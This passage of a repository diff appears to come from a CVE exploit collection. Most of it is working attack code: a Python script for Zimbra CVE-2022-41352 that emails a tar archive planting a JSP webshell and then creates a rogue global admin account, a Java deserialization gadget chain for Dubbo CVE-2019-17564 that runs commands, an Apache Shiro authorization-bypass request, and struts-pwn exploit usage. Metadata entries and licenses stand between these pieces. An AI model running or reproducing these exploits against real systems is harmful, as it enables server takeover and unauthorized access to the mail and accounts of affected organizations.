csum = b' ' # checksum = 8 blanks
|
||||
type = b'0' # type (file = 0)
|
||||
targ = b'\x00'*100 # link target = none
|
||||
|
||||
raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod
|
||||
raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
|
||||
# calculate and insert checksum
|
||||
csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:]
|
||||
raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2
|
||||
# pad block to 512
|
||||
raw_b2 += b'\00'*(512-len(raw_b2))
|
||||
|
||||
|
||||
# Assemble
|
||||
raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512))
|
||||
raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks
|
||||
|
||||
return raw_tar
|
||||
|
||||
# Update this if you want to use a legit email account for sending the payload
|
||||
def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name):
|
||||
msg = MIMEMultipart()
|
||||
msg['Subject'] = subject
|
||||
msg['From'] = sender
|
||||
msg['To'] = recipient
|
||||
|
||||
message = MIMEText(body, 'html')
|
||||
msg.attach(message)
|
||||
|
||||
att = MIMEApplication(attachment)
|
||||
att.add_header('Content-Disposition', 'attachment', filename=attachment_name)
|
||||
msg.attach(att)
|
||||
|
||||
try:
|
||||
print(f'>>> Sending payload')
|
||||
smtp_server = smtplib.SMTP(target,25)
|
||||
smtp_server.sendmail(sender, recipient, msg.as_string())
|
||||
print(f'>>> Payload delivered')
|
||||
except Exception as e:
|
||||
print(f'[!] Failed to send the mail: {e}')
|
||||
sys.exit(1)
|
||||
|
||||
def verify_upload(target, shell, path):
|
||||
print(f'>>> Verifying upload to {path}/{shell} ...')
|
||||
sleep(5) # give the server time to process the email
|
||||
resp = requests.get(f'https://{target}{path}/{shell}', verify=False)
|
||||
if resp.status_code == 200:
|
||||
print(f'>>> [PWNED] Upload successful!')
|
||||
else:
|
||||
print(f'>>> Upload unsuccesful :(')
|
||||
sys.exit(1)
|
||||
|
||||
def create_new_zimbra_admin(target, shell, path):
|
||||
url = f'https://{target}'
|
||||
pw = 'Pwn1ng_Z1mbra_!s_fun'
|
||||
print(f'>>> Adding a new global administrator')
|
||||
if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'):
|
||||
sys.exit(0)
|
||||
admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ')
|
||||
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False)
|
||||
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False)
|
||||
|
||||
print(f'>>> Login to {url}:7071/zimbraAdmin/ with:')
|
||||
print(f'>>> Email : {admin}')
|
||||
print(f'>>> Password : {pw}')
|
||||
|
||||
|
||||
def main(args):
|
||||
global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY
|
||||
|
||||
# Kali JSP WebShell
|
||||
payload = b'<FORM METHOD=GET ACTION="'
|
||||
payload += WEBSHELL_NAME.encode()
|
||||
payload += b'"><INPUT name="task" type=text><INPUT type=submit value="Run"></FORM><%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %><pre><%=output %></pre>'
|
||||
|
||||
# Using this instead of argparse default values to allow easy manual configuration as well
|
||||
if args.payload:
|
||||
try:
|
||||
with open(args.payload, 'rb') as f:
|
||||
payload = f.read()
|
||||
except Exception as e:
|
||||
print(f'Failed to read {args.payload}: {e}')
|
||||
sys.exit(1)
|
||||
print(f'>>> Using custom payload from: {args.payload}')
|
||||
else:
|
||||
print(f'>>> Using default payload: JSP Webshell')
|
||||
if args.path:
|
||||
WEBSHELL_PATH = args.path
|
||||
if args.file:
|
||||
WEBSHELL_NAME = args.file
|
||||
if args.attach:
|
||||
ATTACHMENT = args.attach
|
||||
|
||||
tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH)
|
||||
|
||||
print(f'>>> Assembled payload attachment: {ATTACHMENT}')
|
||||
print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}')
|
||||
if args.mode == 'manual':
|
||||
with open(ATTACHMENT, 'wb') as f:
|
||||
f.write(tar)
|
||||
print(f'>>> Attachment saved locally.')
|
||||
sys.exit(0)
|
||||
|
||||
if args.target:
|
||||
TARGET = args.target
|
||||
|
||||
print(f'>>> Targeting {TARGET}')
|
||||
|
||||
if args.sender:
|
||||
SENDER = args.sender
|
||||
if args.recip:
|
||||
RECIPIENT = args.recip
|
||||
if args.subject:
|
||||
EMAIL_SUBJECT = args.subject
|
||||
if args.body:
|
||||
try:
|
||||
with open(args.body, 'rb') as f:
|
||||
EMAIL_BODY = f.read().decode()
|
||||
except Exception as e:
|
||||
print(f'Failed to read {args.body}: {e}')
|
||||
sys.exit(1)
|
||||
print(f'>>> Using custom email body from: {args.body}')
|
||||
|
||||
|
||||
smtp_send_file( TARGET,
|
||||
SENDER,
|
||||
RECIPIENT,
|
||||
EMAIL_SUBJECT,
|
||||
EMAIL_BODY,
|
||||
tar,
|
||||
ATTACHMENT )
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
|
||||
|
||||
print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}')
|
||||
if args.mode == 'auto':
|
||||
sys.exit(0)
|
||||
|
||||
if args.payload:
|
||||
print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account')
|
||||
else:
|
||||
create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
|
||||
|
||||
sys.exit(0)
|
||||
|
||||
if __name__ == '__main__':
|
||||
epi = '''
|
||||
Alternatively, edit the script to change the default configuration.
|
||||
|
||||
The available modes are:
|
||||
|
||||
manual : Only create the payload - you have to deploy the payload yourself.
|
||||
auto : Create a webshell and deploy it via SMTP.
|
||||
fullpwn : After deploying a webshell, add a new global mail administrator.
|
||||
'''
|
||||
|
||||
p = argparse.ArgumentParser(
|
||||
description = 'CVE-2022-41352 Zimbra RCE',
|
||||
formatter_class = argparse.RawDescriptionHelpFormatter,
|
||||
epilog = epi
|
||||
)
|
||||
p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below')
|
||||
|
||||
p.add_argument('--target', required=False, metavar='<str>', dest='target', help=f'the target server (default: "{TARGET}")')
|
||||
p.add_argument('--payload', required=False, metavar='<file>', help='the file to save on the target (default: jsp webshell)')
|
||||
p.add_argument('--path', required=False, metavar='<str>', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")')
|
||||
p.add_argument('--file', required=False, metavar='<str>', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")')
|
||||
p.add_argument('--attach', required=False, metavar='<str>', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")')
|
||||
p.add_argument('--sender', required=False, metavar='<str>', help=f'sender mail address (default: "{SENDER}")')
|
||||
p.add_argument('--recip', required=False, metavar='<str>', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)')
|
||||
p.add_argument('--subject', required=False, metavar='<str>', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")')
|
||||
p.add_argument('--body', required=False, metavar='<file>', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")')
|
||||
|
||||
args = p.parse_args()
|
||||
|
||||
main(args)
|
|
@ -0,0 +1,24 @@
|
|||
id: CVE-2022-41352
|
||||
source: https://github.com/Cr4ckC4t/cve-2022-41352-zimbra-rce
|
||||
info:
|
||||
name: Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。
|
||||
severity: critical
|
||||
description: |
|
||||
An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavisd via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavisd automatically prefers it over cpio.
|
||||
scope-of-influence:
|
||||
ZCS < 8.8.15 patch 33
|
||||
ZCS < 9.0.0 patch 26
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-41352
|
||||
- https://wiki.zimbra.com/wiki/Security_Center
|
||||
- https://forums.zimbra.org/viewtopic.php?t=71153&p=306532
|
||||
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
|
||||
- http://packetstormsecurity.com/files/169458/Zimbra-Collaboration-Suite-TAR-Path-Traversal.html
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-41352
|
||||
cwe-id: CWE-434
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: CVE-2022, 文件上传
|
|
@ -0,0 +1,29 @@
|
|||
# CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3
|
||||
Our full write-up is available at https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability
|
||||
|
||||
Note that *this is not an exploit*; it is a POC gadget chain used in an exploit used to demonstrate deserialization in scopes containing certain dependencies.
|
||||
|
||||
# Overview
|
||||
Basic code for creating the Alibaba FastJson + Spring gadget chain, as used to exploit Apache Dubbo in CVE-2019-17564. This code will print, and locally deserialize, a gadget based on dependencies available in the scope of Dubbo 2.7.3, Dubbo Common 2.7.3, and Spring Framework
|
||||
|
||||
# Gadget Chain Structure
|
||||
1. HashMap.putVal(h,k,v)
|
||||
a. The result of hashCode(), h, is identical for HotSwappableTargetSource objects, triggering a deeper equals() call on HashMap keys when a second value is inserted
|
||||
2. HotSwappableTargetSource.equals()
|
||||
3. XString.equals()
|
||||
4. com.alibaba.fastjson.JSON.toString()
|
||||
5. com.alibaba.fastjson.JSON.toJSONString()
|
||||
6. com.alibaba.fastjson.serializer.MapSerializer.write()
|
||||
7. TemplatesImpl.getOutputProperties()
|
||||
8. TemplatesImpl.newTransformer()
|
||||
9. TemplatesImpl.getTransletInstance()
|
||||
10. TemplatesImpl.defineTransletClasses()
|
||||
11. ClassLoader.defineClass()
|
||||
12. Class.newInstance()
|
||||
13. MaliciousClass.<clinit>()
|
||||
14. Runtime.exec()
|
||||
|
||||
# Credits
|
||||
Credits are in order to Chris Frohoff and Moritz Bechler for their research and tools (ysoserial and marshalsec), as some of their code was used in the gadget chain, and their research laid the foundation for this exploit.
|
||||
|
||||
Credits are also in order to Checkmarx, who enable this type of research, and our fantastic research group for pitching ideas, reviewing, and bearing the fact that I won't shut up about this type of stuff.
|
|
@ -0,0 +1,44 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<groupId>groupId</groupId>
|
||||
<artifactId>DubboGadget</artifactId>
|
||||
<version>1.0-SNAPSHOT</version>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<version>3.7.0</version>
|
||||
<configuration>
|
||||
<source>1.8</source>
|
||||
<target>1.8</target>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.apache.dubbo</groupId>
|
||||
<artifactId>dubbo</artifactId>
|
||||
<version>2.7.3</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.dubbo</groupId>
|
||||
<artifactId>dubbo-remoting-http</artifactId>
|
||||
<version>2.7.3</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-web</artifactId>
|
||||
<version>5.1.9.RELEASE</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.nqzero</groupId>
|
||||
<artifactId>permit-reflect</artifactId>
|
||||
<version>0.4</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</project>
|
|
@ -0,0 +1,49 @@
|
|||
package DubboGadget;
|
||||
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
public class DubboGadget {
|
||||
// PoC OS Command to Execute
|
||||
public static String DUBBO_RCE_COMMAND = "calc.exe";
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
byte[] gadgetBytes = RCEObjectPayload(DUBBO_RCE_COMMAND);
|
||||
printGadget(gadgetBytes);
|
||||
// Test gadget locally
|
||||
// execGadget(gadgetBytes);
|
||||
}
|
||||
|
||||
public static byte[] RCEObjectPayload(final String command) throws Exception {
|
||||
Object templates = Utils.createTemplatesImpl(command); // TemplatesImpl gadget chain, which
|
||||
// triggers Runtime.exec() on
|
||||
// TemplatesImpl.newTransformer()
|
||||
JSONObject jo = new JSONObject();
|
||||
jo.put("oops",templates); // If JSONObject.toString() is called,
|
||||
// TemplatesImpl.newTransformer() will be invoked
|
||||
Object o = Utils.makeXStringToStringTrigger(jo); // toString() gadget chain, which
|
||||
// triggers on OIS deserialization
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(o);
|
||||
byte[] gadgetBytes = baos.toByteArray();
|
||||
return gadgetBytes;
|
||||
}
|
||||
|
||||
public static void printGadget(byte[] gadgetBytes) {
|
||||
System.out.println(new String(gadgetBytes));
|
||||
}
|
||||
|
||||
public static void execGadget(byte[] gadgetBytes) throws Exception {
|
||||
// Show serialized gadget in console
|
||||
ByteArrayInputStream bais = new ByteArrayInputStream(gadgetBytes);
|
||||
ObjectInputStream ois = new ObjectInputStream(bais);
|
||||
Object oopsie = ois.readObject();
|
||||
oopsie.toString();
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,199 @@
|
|||
package DubboGadget;
|
||||
|
||||
import java.lang.reflect.*;
|
||||
|
||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||
import org.springframework.aop.target.HotSwappableTargetSource;
|
||||
import sun.reflect.ReflectionFactory;
|
||||
import com.nqzero.permit.Permit;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||
|
||||
|
||||
/*
|
||||
* Utility class - based on code found in ysoserial, includes method calls used in
|
||||
* ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were
|
||||
* consolidated into a single util class for the sake of brevity; they are otherwise unchanged.
|
||||
*
|
||||
* Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger
|
||||
* to create a toString trigger
|
||||
*
|
||||
* ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial
|
||||
* marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec
|
||||
*/
|
||||
public class Utils {
|
||||
static {
|
||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||
|
||||
// for RMI remote loading
|
||||
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||
}
|
||||
|
||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||
|
||||
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = -5971610431559700674L;
|
||||
|
||||
|
||||
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
|
||||
|
||||
|
||||
@Override
|
||||
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
|
||||
}
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
public static class Foo implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 8207363842866235160L;
|
||||
}
|
||||
|
||||
public static Object createTemplatesImpl ( final String command ) throws Exception {
|
||||
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
|
||||
return createTemplatesImpl(
|
||||
command,
|
||||
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
|
||||
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
|
||||
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
|
||||
}
|
||||
|
||||
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
|
||||
}
|
||||
|
||||
|
||||
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
|
||||
throws Exception {
|
||||
final T templates = tplClass.newInstance();
|
||||
|
||||
// use template gadget class
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));
|
||||
pool.insertClassPath(new ClassClassPath(abstTranslet));
|
||||
final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
||||
"\");";
|
||||
clazz.makeClassInitializer().insertAfter(cmd);
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||
CtClass superC = pool.get(abstTranslet.getName());
|
||||
clazz.setSuperclass(superC);
|
||||
|
||||
final byte[] classBytes = clazz.toBytecode();
|
||||
|
||||
// inject class bytes into instance
|
||||
Utils.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||
classBytes, Utils.classAsBytes(Utils.Foo.class)
|
||||
});
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
Utils.setFieldValue(templates, "_name", "Pwnr");
|
||||
Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());
|
||||
return templates;
|
||||
}
|
||||
|
||||
public static void setAccessible(AccessibleObject member) {
|
||||
// quiet runtime warnings from JDK9+
|
||||
Permit.setAccessible(member);
|
||||
}
|
||||
|
||||
public static Field getField(final Class<?> clazz, final String fieldName) {
|
||||
Field field = null;
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
setAccessible(field);
|
||||
}
|
||||
catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null)
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
return field;
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
public static String classAsFile(final Class<?> clazz) {
|
||||
return classAsFile(clazz, true);
|
||||
}
|
||||
|
||||
public static String classAsFile(final Class<?> clazz, boolean suffix) {
|
||||
String str;
|
||||
if (clazz.getEnclosingClass() == null) {
|
||||
str = clazz.getName().replace(".", "/");
|
||||
} else {
|
||||
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
|
||||
}
|
||||
if (suffix) {
|
||||
str += ".class";
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
public static byte[] classAsBytes(final Class<?> clazz) {
|
||||
try {
|
||||
final byte[] buffer = new byte[1024];
|
||||
final String file = classAsFile(clazz);
|
||||
final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);
|
||||
if (in == null) {
|
||||
throw new IOException("couldn't find '" + file + "'");
|
||||
}
|
||||
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
int len;
|
||||
while ((len = in.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, len);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
|
||||
HashMap<Object, Object> s = new HashMap<>();
|
||||
Utils.setFieldValue(s, "size", 2);
|
||||
Class<?> nodeC;
|
||||
try {
|
||||
nodeC = Class.forName("java.util.HashMap$Node");
|
||||
}
|
||||
catch ( ClassNotFoundException e ) {
|
||||
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||
}
|
||||
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
|
||||
nodeCons.setAccessible(true);
|
||||
|
||||
Object tbl = Array.newInstance(nodeC, 2);
|
||||
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
|
||||
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
|
||||
Utils.setFieldValue(s, "table", tbl);
|
||||
return s;
|
||||
}
|
||||
|
||||
public static Object makeXStringToStringTrigger(Object o) throws Exception {
|
||||
XString x = new XString("HEYO");
|
||||
return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x));
|
||||
}
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
id: CVE-2019-17564
|
||||
source: https://github.com/Dor-Tumarkin/CVE-2019-17564-FastJson-Gadget
|
||||
info:
|
||||
name: Dubbo是一个高性能优秀的服务框架。
|
||||
severity: CRITICAL
|
||||
description: |
|
||||
不安全的反序列化发生在启用了HTTP远程处理的Dubbo应用程序中。攻击者可以提交包含 Java 对象的 POST 请求,以完全破坏 Apache Dubbo 的提供者实例(如果该实例启用了 HTTP)。此问题影响了 Apache Dubbo 2.7.0 到 2.7.4、2.6.0 到 2.6.7 以及所有 2.5.x 版本。
|
||||
scope-of-influence:
|
||||
Dubbo 2.5.0-2.5.10
|
||||
Dubbo 2.6.0-2.6.7
|
||||
Dubbo 2.7.0-2.7.4
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2019-17564
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2019-17564
|
||||
cwe-id: CWE-502
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: cve2019, Dubbo
|
|
@ -0,0 +1,35 @@
|
|||
# CVE-2022-32532
|
||||
|
||||
## about
|
||||
|
||||
This is a demo project, which only shows one of the conditions for exploiting this vulnerability (CVE-2022-32532).
|
||||
|
||||
In fact, there are more ways to exploit it, as long as developers use `RegExPatternMatcher`, there will be a possible bypass vulnerability.
|
||||
|
||||
## introduce
|
||||
|
||||
Token request header verification is required under the current configuration, otherwise you do not have permission to access the interface under `/permit`
|
||||
|
||||
This request can succeed
|
||||
```http request
|
||||
GET /permit/any HTTP/1.1
|
||||
Token: 4ra1n
|
||||
```
|
||||
|
||||
Access is not allowed when there is no token request header
|
||||
```http request
|
||||
GET /permit/any HTTP/1.1
|
||||
```
|
||||
|
||||
It can be bypassed in a simple way in special but common configurations
|
||||
```http request
|
||||
GET /permit/a%0any HTTP/1.1
|
||||
```
|
||||
|
||||
## reference
|
||||
|
||||
https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh
|
||||
|
||||
This vulnerability is similar to Spring-Security [CVE-2022-22978](https://tanzu.vmware.com/security/cve-2022-22978)
|
||||
|
||||
Thanks to [bdemers](https://github.com/bdemers) (Apache Shiro PMC) and [chybeta](https://github.com/chybeta) (Security Researcher)
|
|
@ -0,0 +1,23 @@
|
|||
id: CVE-2022-32532
|
||||
source: https://github.com/Lay0us1/CVE-2022-32532
|
||||
info:
|
||||
name: Apache Shiro是美国阿帕奇(Apache)基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
|
||||
severity: CRITICAL
|
||||
description: |
|
||||
在Apache Shiro中,RegexRequestMatcher可以被错误配置为在某些servlet容器上被绕过。应用程序使用RegExPatternMatcher和正则表达式中的'.'可能容易受到旁路授权的攻击。
|
||||
scope-of-influence:
|
||||
Apache Shiro 1.9.1之前
|
||||
reference:
|
||||
- https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-32532
|
||||
- https://www.cybersecurity-help.cz/vdb/SB2022062909
|
||||
- https://cxsecurity.com/cveshow/CVE-2022-32532/
|
||||
- https://vigilance.fr/vulnerability/Oracle-Fusion-Middleware-vulnerabilities-of-October-2022-39612
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-32532
|
||||
cwe-id: CWE-863
|
||||
cnvd-id: CNNVD-202206-2750
|
||||
kve-id: None
|
||||
tags: 旁路授权
|
|
@ -0,0 +1,22 @@
|
|||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2017 Mazin Ahmed
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
*struts-pwn - CVE-2017-9805 Exploit*
|
||||
============
|
||||
|
||||
### An exploit for Apache Struts CVE-2017-9805 ###
|
||||
|
||||
|
||||
# **Usage** #
|
||||
|
||||
## Check if the vulnerability exists against a single URL. ##
|
||||
`python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'`
|
||||
|
||||
## Check if the vulnerability exists against a list of URLs. ##
|
||||
`python struts-pwn.py --list 'urls.txt'`
|
||||
|
||||
## Exploit a single URL. ##
|
||||
`python struts-pwn.py --exploit --url 'http://example.com/struts2-rest-showcase/orders/3' -c 'touch /tmp/struts-pwn'`
|
||||
|
||||
## Exploit a list of URLs. ##
|
||||
`python struts-pwn.py --exploit --list 'urls.txt' -c 'touch /tmp/struts-pwn'`
|
||||
|
||||
|
||||
# **Demo** #
|
||||

|
||||
|
||||
|
||||
# **Requirements** #
|
||||
* Python2 or Python3
|
||||
* requests
|
||||
|
||||
|
||||
# **Legal Disclaimer** #
|
||||
This project is made for educational and ethical testing purposes only. Usage of struts-pwn for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
|
||||
|
||||
|
||||
# **License** #
|
||||
The project is licensed under MIT License.
|
||||
|
||||
|
||||
# **Author** #
|
||||
*Mazin Ahmed*
|
||||
* Website: [https://mazinahmed.net](https://mazinahmed.net)
|
||||
* Email: *mazin AT mazinahmed DOT net*
|
||||
* Twitter: [https://twitter.com/mazen160](https://twitter.com/mazen160)
|
||||
* Linkedin: [http://linkedin.com/in/infosecmazinahmed](http://linkedin.com/in/infosecmazinahmed)
|
|
